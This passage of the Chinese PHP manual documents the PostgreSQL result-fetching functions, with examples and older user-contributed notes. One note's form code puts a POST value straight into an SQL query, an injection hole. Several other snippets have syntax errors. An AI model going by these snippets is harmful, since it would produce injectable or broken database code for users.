  array_push($arr, $line['name']);
}

var_dump($arr);

?>


从结果中获取所有行作为数组

  • ? pg_fetch_all_columns
  • pg_fetch_array ?
  • PHP Manual
  • PostgreSQL 函数
  • 从结果中获取所有行作为数组

pg_fetch_all

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_fetch_all — 从结果中获取所有行作为数组

说明

pg_fetch_all(PgSql\Result $result, int $mode = PGSQL_ASSOC): array

pg_fetch_all() 返回包含 PgSql\Result 实例中所有行（记录）的数组。

Note: 此函数将 NULL 字段设置为 PHP null 值。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

mode

An optional parameter that controls how the returned array is indexed. mode is a constant and can take the following values: PGSQL_ASSOC, PGSQL_NUM and PGSQL_BOTH. Using PGSQL_NUM, the function will return an array with numerical indices, using PGSQL_ASSOC it will return only associative indices while PGSQL_BOTH will return both numerical and associative indices.

返回值

包含结果中所有行的 array。每行都是一个由字段名作为索引的字段值数组。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。
8.0.0 | 对于零行的结果集，pg_fetch_all() 现在将返回一个空数组而不是 array。
7.1.0 | 新增 mode 参数。

示例

Example #1 PostgreSQL 获取全部

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

$result = pg_query($conn, "SELECT * FROM authors");
if (!$result) {
echo "An error occurred.\n";
exit;
}

$arr = pg_fetch_all($result);

print_r($arr);

?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [id] => 1
            [name] => Fred
        )

    [1] => Array
        (
            [id] => 2
            [name] => Bob
        )

)

参见

  • pg_fetch_row() - 提取一行作为枚举数组
  • pg_fetch_array() - 获取一行作为数组
  • pg_fetch_object() - 获取一行作为对象
  • pg_fetch_result() - 从结果实例返回值

User Contributed Notes

ilhan at ilhan dot name 02-Aug-2016 08:25
PG functions retrieve data as strings. If you want automatic casting you need to use PDO.
humbertoibanez at gmail dot com 26-Oct-2015 03:35
If you configure in your pg_hba.conf file a connection by the md5 method and you didn't setup a password for that user, you must define a password by the "alter role" PostgreSQL command:

alter role user_name encrypted password 'user_password';

Also, if you is connecting by type TCP/IP (host) and your IP address is another than (localhost), as example (127.0.1.1) you must uncomment the following line at postgresql.conf file, adding your IP address:

listen_addresses = 'localhost,127.0.1.1'

After save the new configuration, you must restart your PostgreSQL service.
strata_ranger at hotmail dot com 11-Jun-2009 08:00
Be aware that pg_fetch_all() is subject to the same limitations as pg_fetch_assoc(), in that if your query returns multiple columns with the same name (or alias) then only the rightmost one will be returned in the associative array, other ones will not.

A simple example:
<?php
$res = pg_query(
"SELECT a.*, b.* -- Fetch all columns from both tables
FROM table1 AS a

LEFT OUTER JOIN table2 as b
USING (column)"
);

$rows = pg_fetch_all($res);
?>

In this example, since we're selecting columns via *, if any columns from table2 share the same names as those in table1, they will be the ones returned despite that table2 (as the optional side of an outer join) may return NULL values.

This is not a bug, just a limitation of associative arrays in general, and is easy enough to avoid by structuring your queries carefully and using column aliases to avoid confusion.
prefer_not_to at say dot com 02-Jun-2009 10:09
For those wondering, this function returns a two-dimentional array, the first dimension being a 0-based indexed array, the second dimension an associative.  So you might access the first authors surname using $authors[0]["surname"].

Certainly this is the case in PHP 5.2.9, I can't vouch for other versions though.
viniciusweb at gmail dot com 20-Mar-2005 06:20
This function returns NULL if the parameter is false.
09-Jun-2003 05:36
Also for those who are trying to move off oracle, pg_fetch_all returns an array with rows and columns inverted in the sense of ocifetchall. You would need to transpose this result array before your code takes the first index a column name and the second index a row index.
php dot net at mechintosh dot com 16-May-2003 11:42
For versions of PHP that don't yet support the new names or newer functions I wrote a couple functions like this one

if (! function_exists("pg_fetch_all")) {
  function pg_fetch_all($res, $kind="assoc") {
    $i = 0; // this is needed for the row integer in the looped pg_fetch_array
    if ($kind == "assoc") {
      while ($row = pg_fetch_array($res, $i, PGSQL_ASSOC)) {
        $array_out[] = $row;
        $i++;
    }else{
      while ($row = pg_fetch_array($res)) {
        $array_out[] = $row;
      }
    }
    return $array_out;
  }
}
tasmanian at devil dot com 27-Mar-2003 10:42
It seems like pg_fetch_all() only works on version 4.3.x. I tried it with 4.2.2 and it does not recognize the function, so I assume it won't work on 4 => 4.2.x.
jcomeau at whatisthewww dot com 19-Feb-2003 12:02
pg_fetch_all, despite the app note, accepts only one argument, the resultset. It does exactly what is expected, returning a two-dimensional array of the resultset. I suspect the app note given was just copied from pg_fetch_array, which is what you want to use for a single row.


获取一行作为数组

  • ? pg_fetch_all
  • pg_fetch_assoc ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取一行作为数组

pg_fetch_array

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_array — 获取一行作为数组

说明

pg_fetch_array(PgSql\Result $result, ?int $row = null, int $mode = PGSQL_BOTH): array|false

pg_fetch_array() 返回与所提取的行（元组/记录）相一致的数组。

pg_fetch_array() 是 pg_fetch_row() 的扩展版本。在结果数组中不仅以数字索引（字段编号）方式存放数据，还用关联索引（字段名）存储数据。它默认存储两个索引。

Note: 此函数将 NULL 字段设置为 PHP null 值。

使用 pg_fetch_array() 并不比 pg_fetch_row() 慢的明显，而且在使用中提供了更大的方便。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

row

要获取的结果中的行号。行从 0 向上编号。如果省略或为 null，则获取下一行。

mode

An optional parameter that controls how the returned array is indexed. mode is a constant and can take the following values: PGSQL_ASSOC, PGSQL_NUM and PGSQL_BOTH. Using PGSQL_NUM, the function will return an array with numerical indices, using PGSQL_ASSOC it will return only associative indices while PGSQL_BOTH will return both numerical and associative indices.

返回值

数字方式（从 0 开始）或关联方式（按字段名索引）或两者共同索引的 array。array 中的每个值都表示为 string。数据库 NULL 值作为 null 返回。

如果 row 超过集合中的行数、没有更多行或任何其他错误，则返回 false。从 SELECT 以外的查询结果中获取也将返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_fetch_array() 示例

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
echo "An error occurred.\n";
exit;
}

$arr = pg_fetch_array($result, 0, PGSQL_NUM);
echo $arr[0] . " <- Row 1 Author\n";
echo $arr[1] . " <- Row 1 E-mail\n";

// The row parameter is optional; NULL can be passed instead,
// to pass a result_type. Successive calls to pg_fetch_array
// will return the next row.
$arr = pg_fetch_array($result, NULL, PGSQL_ASSOC);
echo $arr["author"] . " <- Row 2 Author\n";
echo $arr["email"] . " <- Row 2 E-mail\n";

$arr = pg_fetch_array($result);
echo $arr["author"] . " <- Row 3 Author\n";
echo $arr[1] . " <- Row 3 E-mail\n";

?>

参见

  • pg_fetch_row() - 提取一行作为枚举数组
  • pg_fetch_object() - 获取一行作为对象
  • pg_fetch_result() - 从结果实例返回值

User Contributed Notes

strata_ranger at hotmail dot com 23-Aug-2009 01:53
Note that when using PGSQL_BOTH, numerically and associatively indexed fields are separate variables and treated as such:

<?php
$res = pg_query("Select 'foo' as bar");

$data = pg_fetch_array($res, 0, PGSQL_BOTH);

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "foo"
//   ["bar"] => string(3) "foo"
// }

// This won't affect $data['bar']
$data[0] = 'bar';

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "bar"
//   ["bar"] => string(3) "foo"
// }
?>

If you want to have reference binding between your numeric and associative indexes, you'll have to establish that yourself:

<?php

$result = pg_query("Select 'foo' as bar");

$data = pg_fetch_row($result);

// Establish references between column name/number
$from = $data;
foreach($from as $cx => $value)
{
    $key = pg_field_name($result, $cx);
    if (is_string($key)) $data[$key] =& $data[$cx];
}

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "foo"
//   ["bar"] => &string(3) "foo"
// }
// Note the reference binding between $data[0] and $data['bar']

$data[0] = 'baz';

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "baz"
//   ["bar"] => &string(3) "baz"
// }

?>
anonymous 13-May-2005 02:21
Hopefully most people realize this on their own, but the examples below where people tried to get creative with getting numerical or associative (not both) keys in the result are rather pointless. See the pg_fetch_assoc() and pg_fetch_row() for the built in functions that do this automatically. It's generally a better idea to use one of these other functions unless you *need* to access fields by both collumn name *and* index.
Dave O 22-Feb-2005 09:52
I found this out through help from the mailing lists.  If you need to reset the internal counter, use the pg_result_seek, similar to:

pg_result_seek($result, 0)

...plagiarized from the comment on the function's doc page.
devnull 02-Feb-2005 01:59
In response to eth0's comment below about SELECT'ing from two tables where the tables have columns with the same names, you can get around this problem like this:

"SELECT table1.foo AS foo1, table2.foo AS foo2 FROM table1, table2"

In the associative array returned, the keys will be "foo1" and "foo2".
enyo at www.red-link.com 14-Sep-2003 06:55
Just because it is not really clear how to specify the result type, I poste this message.

I wrote a wrapper function which looks like this:

<?php
    function db_fetch_array ($result, $row = NULL, $result_type = PGSQL_ASSOC)
    {
        $return = @pg_fetch_array ($result, $row, $result_type);
        return $return;
    }
?>

I think this way it is quite comfortable to get the arrays you want.
akm at e-nterart dot pl 17-Jun-2003 09:45
(Timesaver) Be aware of the fact that keys in array returned by this function are (well, at least as of 4.2.3) of the same case as SQL column names (e.g. if your column name is ID then key name is also ID, not id or Id), and the keys in associative array are CASE SENSITIVE!!! So don't be surprised if you get unexpected results. Double check SQL column names and the key names.
jesse at sokieserv dot dhs dot org 13-Dec-2001 04:38
As of PHP 4.1.0, you can now use code such as the following to iterate through a result set:

$conn = pg_connect("host=localhost dbname=whatever");
$result = pg_exec($conn, "select * from table");
while ($row = pg_fetch_array($result))
{
     echo "data: ".$row["data"];
}

Can be a nice little time saver, PHP with MySQL has supported this for a while but I'm glad to see it extended to PostgreSQL...
eth0 at fins 28-Sep-2001 11:15
Please remember that if you have for example a table Customers with "cust_ID", "name" and "address" and another table Users with "u_ID","name" and "other" and then you SELECT WHERE cust_ID=u_ID then you'll get in the result array ONLY ONE "name" field, precisely the last one resulted from the select!!!
elliot at nospam dot rightnowtech dot com 22-Jul-2001 09:50
Just remember when you 'or die' to close your table(s) or you may get a confused look from non-internet explorer users.
mkb at ele dot uri dot edu 27-Mar-2001 04:52
The column names if you use PGSQL_ASSOC or PGSQL_BOTH are always in lowercase, no matter what the name is in the database or in the query.
gherson at snet dot net 06-Mar-2001 10:30
In addition to returning "false if there are no more rows", pg_fetch_array will also trigger an E_WARNING.  You can temporarily turn that error reporting level off and suck out all your data like so:

<?php
$errRptLvl = error_reporting();
error_reporting($errRptLvl & ~(E_WARNING));

list($i,$j)=array(0,0);
while ($selection[$i++] = $this->fetchArray($j++)); // (fetchArray is a pg_fetch_array wrapper.)
error_reporting($errRptLvl); // Restore error reporting level.
unset($selection[$i-1]); // Delete the last, empty row.
return $selection;
?>
gherson at snet dot net 02-Jan-2001 09:14
PGSQL_BOTH is the default, meaning your array size will be doubled.
If you specify this field (result type), include no quotes around it or you won't get any data, not even an error.
Here's my wrapper function:
function SQL_fetch_array($result_ndx, $row, $result_type=PGSQL_ASSOC) {
   return pg_fetch_array($result_ndx, $row, $result_type);


获取一行作为关联数组

  • ? pg_fetch_array
  • pg_fetch_object ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取一行作为关联数组

pg_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_fetch_assoc — 获取一行作为关联数组

说明

pg_fetch_assoc(PgSql\Result $result, ?int $row = null): array|false

pg_fetch_assoc() 返回与所提取的行（元组/记录）相一致的关联数组。

pg_fetch_assoc() 等同于调用 PGSQL_ASSOC 作为第三个参数的 pg_fetch_array()。其仅返回关联数组。如果需要数字索引，使用 pg_fetch_row()。

Note: 此函数将 NULL 字段设置为 PHP null 值。

使用 pg_fetch_assoc() 并不比 pg_fetch_row() 慢的明显，而且在使用中提供了更大的方便。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

row

要获取的结果中的行号。行从 0 向上编号。如果省略或为 null，则获取下一行。

返回值

关联方式（按字段名）的 array。array 中的每个值都表示为 string。数据库 NULL 值作为 null 返回。

如果 row 超过集合中的行数、没有更多行或任何其他错误，则返回 false。从 SELECT 以外的查询结果中获取也将返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_fetch_assoc() 示例

<?php
$conn = pg_connect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

$result = pg_query($conn, "SELECT id, author, email FROM authors");
if (!$result) {
echo "An error occurred.\n";
exit;
}

while ($row = pg_fetch_assoc($result)) {
echo $row['id'];
echo $row['author'];
echo $row['email'];
}
?>

参见

  • pg_fetch_row() - 提取一行作为枚举数组
  • pg_fetch_array() - 获取一行作为数组
  • pg_fetch_object() - 获取一行作为对象
  • pg_fetch_result() - 从结果实例返回值

User Contributed Notes

artem.eroshin gmail com 17-Feb-2020 04:17
Converts 't' and 'f' to PHP Boolean

$result = pg_query($_db, $sql);

while ( $row = pg_fetch_assoc( $result ) )
{
    fixBooleans($result, $row);

    //some other code
}

function fixBooleans($result, &$row)
{

    for ($fld_i = 0; $fld_i < pg_num_fields($result); $fld_i++)
    {
        $fld_name = pg_field_name($result, $fld_i);

        if( pg_field_type($result, $fld_i) == 'bool' )
        {
            if( $row[ $fld_name ] == 't' )
            {
                $row[ $fld_name ] = true;
            }
            elseif($row[ $fld_name ] == 'f')
            {
                $row[ $fld_name ] = false;
            }
        }
    }

}
huntfalow at yahoo dot com 23-Apr-2015 08:46
<html>
<head>
<script>
function waarde(){
    var text = document.getElementById("optVakken").value;
    document.getElementById("txthidden").value = text;
    document.forms["hiddenform"].submit();
}
</script>
<?php
// keuzemenu met alle leerkrachten
function leerkrachten($aName){
    include("includes/connect.php");

}
// keuzemenu met alle vakken
function vakken($aID){
    include("includes/connect.php");
    $SelectVakkenQuery = "SELECT * FROM vakken";
    $SelectVakkenResult = $mysqli->query($SelectVakkenQuery);
    $Choice = "<select id='$aID' onchange=waarde()><option>Kies een vak</option>";

        while($rij2 = $SelectVakkenResult->fetch_assoc()){
        $VakID = $rij2['vakid'];
        $Vaknaam = $rij2['voluit'];
        $Choice .= "<option value='$VakID'>$Vaknaam</option>";
    }
    $Choice .= "</select>";
    return $Choice;
}
?>
<title>Remedi?ringsoefening</title>
</head>
<body>
<?php
include("includes/connect.php");
// aanmaken van keuzemenus

// eerste keuzemenu
echo vakken("optVakken")."<br><br>";

// tweede keuzemenu
if(!isset($_POST['txthidden'])){
$SelectLeerkrachtenQuery = "SELECT * FROM leerkrachten";
$SelectLeerkrachtResult = $mysqli->query($SelectLeerkrachtenQuery);

$Choice = "<select>";
while($rij=$SelectLeerkrachtResult->fetch_assoc()){
    $Voornaam = $rij['voornaam'];
    $Naam = $rij['naam'];
    $LKID = $rij['leerkrachtid'];
    $Volledig = $Voornaam . " " . $Naam;
    $Choice .= "<option value='$LKID'>$Volledig</option>";
}
$Choice .= "</select><br><br>";
echo $Choice;
}else{
    $vakid = $_POST['txthidden'];
    $SelectLeerkrachtenQuery = "SELECT * FROM leerkrachten JOIN leerkrachtpervak ON leerkrachten.leerkrachtid = leerkrachtpervak.leerkrachtid WHERE vakid = '$vakid'";
    $SelectLeerkrachtResult = $mysqli->query($SelectLeerkrachtenQuery);
    $Choice = "<select>";
    while($row3=$SelectLeerkrachtResult->fetch_assoc()){
        $Voornaam = $row3['voornaam'];
        $Naam = $row3['naam'];
        $Volledig = $Voornaam . " " . $Naam;
        $Choice .= "<option>$Volledig</option>";
    }
    $Choice .= "</select><br><br>";
    echo $Choice;
}
// onzichtbaar textbox voor JS
echo "<form method='post' id='hiddenform'><input type='hidden' name='txthidden' id='txthidden'></form>";
$mysqli->close();
?>
</body>
</html>
slurppp at hotmail dot fr 08-Jun-2012 02:37
Note that all pg_fetch_* function ignoring the original type of the data and always return strings. (for numbers too)
Alexey Loktionov (error at pochta dot ru) 10-Mar-2010 04:54
Here is much powerful pg_parse_array() variant, based on FSM: for any dimension Postgres arrays (its string representation must be well-formed), with quotation rules checks, complexity O(N), where N is a length of string representation of Postgres array:

<?php

define('STATE_BEGIN', 1);
define('STATE_INARRAY',2);
define('STATE_OUTARRAY', 3);
define('STATE_INSLASH', 4);
define('STATE_INQUOTES', 5);

function pg_parse_array($value) {
        $resultArray = $indexArray = array(); $level = $index = 0;
        $ptr = &$resultArray;
        for($i = 0; $i < strlen($value); $i++){
            switch($level){
                case 1:
                    if($index > 0){
                        $ptr = & $ptr[sizeof($ptr)];
                    }
                    $indexArray[++$index] = & $ptr;
                    break;
                case -1:
                    $ptr = & $indexArray[--$index];
                    break;
            }
            $level = processFSM($value{$i}, $ptr);
        }
        return $resultArray;
    }

    function processFSM($chr, &$result){
        static $state = STATE_BEGIN, $index = 0;
        $level = 0;
        switch(true){
            case $chr == '{' && in_array($state, array(STATE_BEGIN,STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_INARRAY;
                $index = 0;
                $level = +1;
                break;
            case $chr == '}' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_OUTARRAY;
                $level = -1;
                break;
            case $chr == '\\' && $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : STATE_INSLASH;
                break;

            case $chr == '"' && !in_array($state, array(STATE_BEGIN,STATE_INSLASH), true):
                $state = $state === STATE_INQUOTES ? STATE_INARRAY : STATE_INQUOTES;
                break;

            case $chr == ',' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $index = sizeof($result);
                break;

            case $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : $state;
                isset($result[$index]) or $result[$index] = '';
                $result[$index] .= $chr;
                break;
        }
        return $level;
    }

?>
Anonymous 16-Jan-2010 03:16
Be aware that if one of your result fields is an array, it will be output as a string using the general format of '{value1,value2, ... }' in accordance with postgres's behavior with SQL arrays.
http://www.postgresql.org/docs/8.4/static/arrays.html#ARRAYS-IO

So, here is a function to convert simple (one-dimensional) SQL arrays to PHP arrays:

<?php
function pg_parse_array($field)
/*
 * Converts a simple SQL array field to its PHP equivalent.  e.g:
 *
 *    {null}              --> Array(null);
 *    {"null"}            --> Array("null");
 *    {foo,bar}           --> Array("foo", "bar");
 *    {"foo,bar"}         --> Array("foo,bar");
 *    {"Hello \"World\""} --> Array('Hello "World"');
 *
 */
{
  // NULL fields are always NULL
  if (!is_string($field)) return $field;

  // Check for curly braces which may indicate an SQL array field
  if ($field[0] != '{' or substr($field, -1) != '}') return $field;
  $field = trim(substr($field, 1, -1));

  $array = Array();

  // Break up the string into the following:
  //  - quoted text that MAY have special chars escaped by a backslash
  //  - unquoted text that may NOT have special chars
  $search = '/(")?+((?(1)(?:\\\\.|[^"])*|[^,]+))(?(1)\\1)/';
  preg_match_all($search, $field, $matches, PREG_SET_ORDER);

  foreach($matches as $value)
  {
    if ($value[1])
    {
      // Quoted element, with backslash used to escape chars
      $array[] = preg_replace('#\\\\(.)#', '$1', $value[2]);
    }
    else
    {
      // Unquoted element
      $value[2] = trim($value[2]);
      if (strtolower($value[2]) == 'null') $array[] = null; // NULL
      else $array[] = $value[2];
    }
  }
  return $array;
}

// Some tests to demonstrate this function
var_export(pg_parse_array('{null}'); // Output is Array(null);
var_export(pg_parse_array('{foo,bar}'); // Output is Array('foo', 'bar');
var_export(pg_parse_array('{"null"}'); // Output is Array('null');

?>
Anonymous 19-May-2009 08:24
Beware!  If your query returns multiple columns with the same names, only the right-most one will be contained in the result array.  This can cause problems if you are using a combination of joins:

For example:
<?php
// Let's say that 'pkey' is the primary-key colum for tables a and b (primary keys are never null)
$res = pg_query("Select a.pkey, b.* FROM a LEFT JOIN b using (pkey)");
$data = pg_fetch_assoc($res);
var_dump($data['pkey']) // Is actually b.pkey, may be NULL!
?>

Both tables contain a column named 'pkey'.  Now table 'b' is on the optional side of a LEFT JOIN, so b.pkey (implicitly included via 'b.*') may be NULL.

The problem arises when you use pg_fetch_assoc(), there are two columns named 'pkey' but the result array can only contain one value per key -- in this case it will pick the one from table B instead of the one from table A, and since B is on the optional side of the left-join, $data['pkey'] may be NULL.  So if you're expecting to retrieve the column from table A, you need to use a different pg_fetch() or rewrite your query to avoid ambiguity.
Anonymous 13-Oct-2008 05:18
bytea columns are returned escaped.
you need to call pg-unescape-bytea() on them to get the original binary back.
Anonymous 13-Oct-2008 04:03
regarding the optional int parameter

requesting a row number that is not present in the result set is an error. don't do it.

check with pg_num_rows() beforehand, or  just use the default behavior which returns the rows in order and false after returning the last row it returns false immediately if no rows were returned.
strata_ranger at hotmail dot com 26-Aug-2008 03:01
In a bit of follow-up to Luke's note about SQL booleans (this was a painful thing to learn the hard way), a relatively easy workaround is to typecase the boolean columns to integer inside the query, e.g:

<?php
// Assuming 'foo' is a table column of type boolean
$res = pg_query("Select foo as foo1, foo::integer as foo2 from bar");

$data = pg_fetch_assoc($res);
if ($data['foo1']) echo 'foo1 = TRUE'; // Doesn't work as expected (string 't' and string 'f' both evaluate as TRUE)
if ($data['foo2']) echo 'foo2 = TRUE'; // Works as expected (string '0' evaluates as FALSE)
?>
javier dot vilarroig at gmail dot com 02-Oct-2007 09:57
Is worth to know that when you query on multiple tables only the first row with each name is returned.

That is, if you are joining to tables with a column called 'name' you will receive only one field called name in the array and it will correspond to the one on the first table.

Is advisable to allways allias your columns in that stuation.
johniskew 01-Mar-2007 09:28
Here is another way to iterate a resultset and display all columns in very little code... might be faster than a foreach

<?php

print '<table>';
while($row=pg_fetch_assoc($rs2)) print '<tr><td>'.join('</td><td>',$row2).'</td></tr>';
print '</table>';

?>
24-May-2006 12:59
If you request a row that does not exist, it just fails, rather than simply returning false.
Luke 22-Sep-2005 06:34
Note:

PostgreSQL boolean values set to TRUE are returned as the string "t"

PostgreSQL boolean values set to FALSE are returned as the string "f"
petrus at bmail dot com dot au 24-Feb-2005 07:22
$dbconn3 = pg_connect("host=127.0.0.1 port=5432 dbname=blah user=blah password=blah");
$result = pg_query($dbconn3, "SELECT * FROM Packages");

 echo "<HTML><HEAD><TITLE>PostgreSQL Test Page</TITLE></HEAD><BODY>";
 echo "<TABLE>";

$pkg = pg_fetch_assoc($result);
foreach ($pkg as $value) {
    echo "<TR><TD>$value";
    echo "</TR></TD>";
 }

echo "</TABLE><P>";
echo "This package's full filename is: {$pkg['name']}-{$pkg['version']}{$pkg['extension']}";
echo "</BODY></HTML>";

For generating tables, this works, and personally I prefer foreach() to while loops because there's no danger of accidentally causing an infinite loop...foreach only works for as long as it has something to work with, and then stops.  I thought the echo down the bottom might come in handy, too...took me a bit to find that out.
spam at pasher dot org 24-Oct-2003 06:35
An important thing to note (as of PHP 4.3.2):

If you are used to using the "extended" comparision operators (=== and !==) to try to make your code easier to follow visually, this function will return NULL if the provided resource handle is invalid (as opposed to false). ie,

$rs = @pg_query('SELECT * FROM fake_table');
while (false !== ($row = @pg_fetch_assoc($rs)))
{
    print_r($row);
}

Obviously you should check to see if $rs === false before you start the while loop, but this example is used to illustrate a potential infinite loop problem if $rs IS false.
ninja (whorl) thinkninja (stop) com 21-Jun-2003 08:29
If you are moving between different versions of PHP, this might be handy:

if (!function_exists('pg_fetch_assoc')) {
    function pg_fetch_assoc ($result)
    {
      return @pg_fetch_array($result, NULL, PGSQL_ASSOC);
    }
}
Brenton Strickler 06-Jan-2003 05:53
At a glance, the syntax listed at the top of this page doesn't match the example.  The PGSQL_ASSOC flag isn't necessary.


获取一行作为对象

  • ? pg_fetch_assoc
  • pg_fetch_result ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取一行作为对象

pg_fetch_object

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_object — 获取一行作为对象

说明

pg_fetch_object(
PgSql\Result $result,
?int $row = null,
string $class = "stdClass",
array $constructor_args = []
): object|false

pg_fetch_object() 返回对象，该对象的属性对应于获取的行的字段名称。它可以选择实例化特定类的对象，并将参数传递给该类的构造方法。

Note: 此函数将 NULL 字段设置为 PHP null 值。

在速度方面，该函数与 pg_fetch_array() 相同，并且几乎与 pg_fetch_row() 一样快（差别不大）。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

row

要获取的结果中的行号。行从 0 向上编号。如果省略或为 null，则获取下一行。

class

要实例化、设置属性并返回的类的名称。如果未指定，则返回 stdClass 对象。

constructor_args

要传递给 class 对象的构造方法的可选参数 array。

返回值

结果中的每个字段名称都有在 object 中对应的属性。数据库 NULL 值作为 null 返回。

如果 row 超过集合中的行数、没有更多行或任何其他错误，则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_fetch_object() 示例

<?php

$database = "store";

$db_conn = pg_connect("host=localhost port=5432 dbname=$database");
if (!$db_conn) {
echo "Failed connecting to postgres database $database\n";
exit;
}

$qu = pg_query($db_conn, "SELECT * FROM books ORDER BY author");

while ($data = pg_fetch_object($qu)) {
echo $data->author . " (";
echo $data->year . "): ";
echo $data->title . "<br />";
}

pg_free_result($qu);
pg_close($db_conn);

?>

参见

  • pg_query() - 执行查询
  • pg_fetch_array() - 获取一行作为数组
  • pg_fetch_assoc() - 获取一行作为关联数组
  • pg_fetch_row() - 提取一行作为枚举数组
  • pg_fetch_result() - 从结果实例返回值

User Contributed Notes

qeremy [atta] gmail [dotta] com 27-Jul-2012 12:20
Getting db results as object.

<?php
$qry = pg_query("SELECT * FROM users");

$rows = array();
while ($fch = pg_fetch_object($qry)) {
   $rows[] = $fch;
}

// or

$rows = array_map(function($a){
   return (object) $a;
}, (array) pg_fetch_all($qry));
?>
ekevu at yahoo dot com 02-Jul-2007 07:36
PostgreSQL boolean true becomes string "t"
PostgreSQL boolean false becomes string "f"
This is ambiguous, and leads to code duplication. I wonder why aren't the types correctly typed when fetching values. We could at least have an optional parameter to enable that.
robeddielee at hotmail dot com 27-Jan-2006 11:38
I noticed that many people use FOR loops to extract query data. This is the method I use to extract data.

<?php
 @$members = pg_query($db_conn, 'SELECT id,name FROM boards.members ORDER BY name;');
 if ($members AND pg_num_rows($members)) {
  while ($member = pg_fetch_object($members)) {
   echo $member->name.' ('.$member->id.')';
  }
 }
?>

If an error occurs (or nothing is returned) in the above code nothing will output. An ELSE clause can be added to the IF to handle query errors (or nothing being returned). Or a seperate check can be performed for the event that nothing is returned by using an ELSEIF clause.

I like this method because it doesn't use any temporary counter variables.
oracle dot shinoda at gmail dot com 15-Nov-2004 06:13
If you're wanting to use objects for your results, but are put off because you can't seem to apply a function to each field of the result (like stripslashes for example), try this code:

<?php
// Code to connect, do query etc etc...

$row = pg_fetch_object($result);
$vars = get_object_vars($row);
foreach ( $vars as $key => $var )
{
    $row->{$key} = stripslashes($var);
}

?>
michiel at minas-2 dot demon dot nl 16-Jun-2004 08:13
Something I have learned to use:

$result=$pg_query (...);
$num = pg_numrows($result);

for($count=0;$count < $num && $data=pg_fetch_object($result,$count);$count++)
{
    printf("<tr>\n");
    printf("    <td>%s</td>\n",$data->foo);
    printf("    <td>%s</td>\n",$data->bar);
    printf("</tr>\n");
}
Lars at dybdahl dot dk 14-Oct-2003 08:43
When you retrieve the contents of a "timestamp with timezone" field, this will set the environment's timezone variables. Therefore, this is dangerous:

$s=$row->mydatefield;
$unixtimestamp=postgresqltimestamp2unix($s);
echo date("Y-m-d H:i:s",$unixtimestamp);

Here, postgresqltimestamp2unix is a function that converts the postgresql timestamp to Unix. The retrieval of the field data in the first line of the example above will influence the timezone used in date() in the third line.
ian at eiloart dot com 09-Feb-2003 07:27
This isn't all that useful. If you do, for example, foreach($row as $field) then you still get every value twice!

You can do something like this, though:

foreach ($line as $key => $cell){
     if (! is_numeric($key)){
                echo "<td>$key $cell</td>";
     }
}

is is_numeric strict enough?
inbox at bucksvsbytes dot com 16-Mar-2002 09:13
The result_type arg is either invalid or incorrectly documented, since the "result_type is optional..." paragraph is copied verbatim from pg_fetch_array, and the PGSQL_NUM option is in conflict with the preceding paragraph's, "you can only access the data by the field names, and not by their
offsets."


从结果实例返回值

  • ? pg_fetch_object
  • pg_fetch_row ?
  • PHP Manual
  • PostgreSQL 函数
  • 从结果实例返回值

pg_fetch_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_fetch_result — 从结果实例返回值

说明

pg_fetch_result(PgSql\Result $result, int $row, mixed $field): string|false|null
pg_fetch_result(PgSql\Result $result, mixed $field): string|false|null

pg_fetch_result() 返回 PgSql\Result 实例中特定行和字段（列）的值。

Note:

此函数过去称为 pg_result()。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

row

要获取的结果中的行号。行从 0 向上编号。如果省略，则获取下一行。

field

表示要获取的字段（列）名的 string，否则为表示要获取的字段编号的 int。字段从 0 向上编号。

返回值

布尔值返回为 "t" 或 "f"。所有其它类型，包括数组，都以字符串形式返回，其格式与 psql 程序中的 PostgreSQL 默认方式相同。数据库 NULL 值作为 null 返回。

如果 row 超过集合中的行数或任何其他错误，则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_fetch_result() 示例

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "First field in the second row is: ", $val, "\n";
?>

以上示例会输出：

First field in the second row is: 2

参见

  • pg_query() - 执行查询
  • pg_fetch_array() - 获取一行作为数组

User Contributed Notes

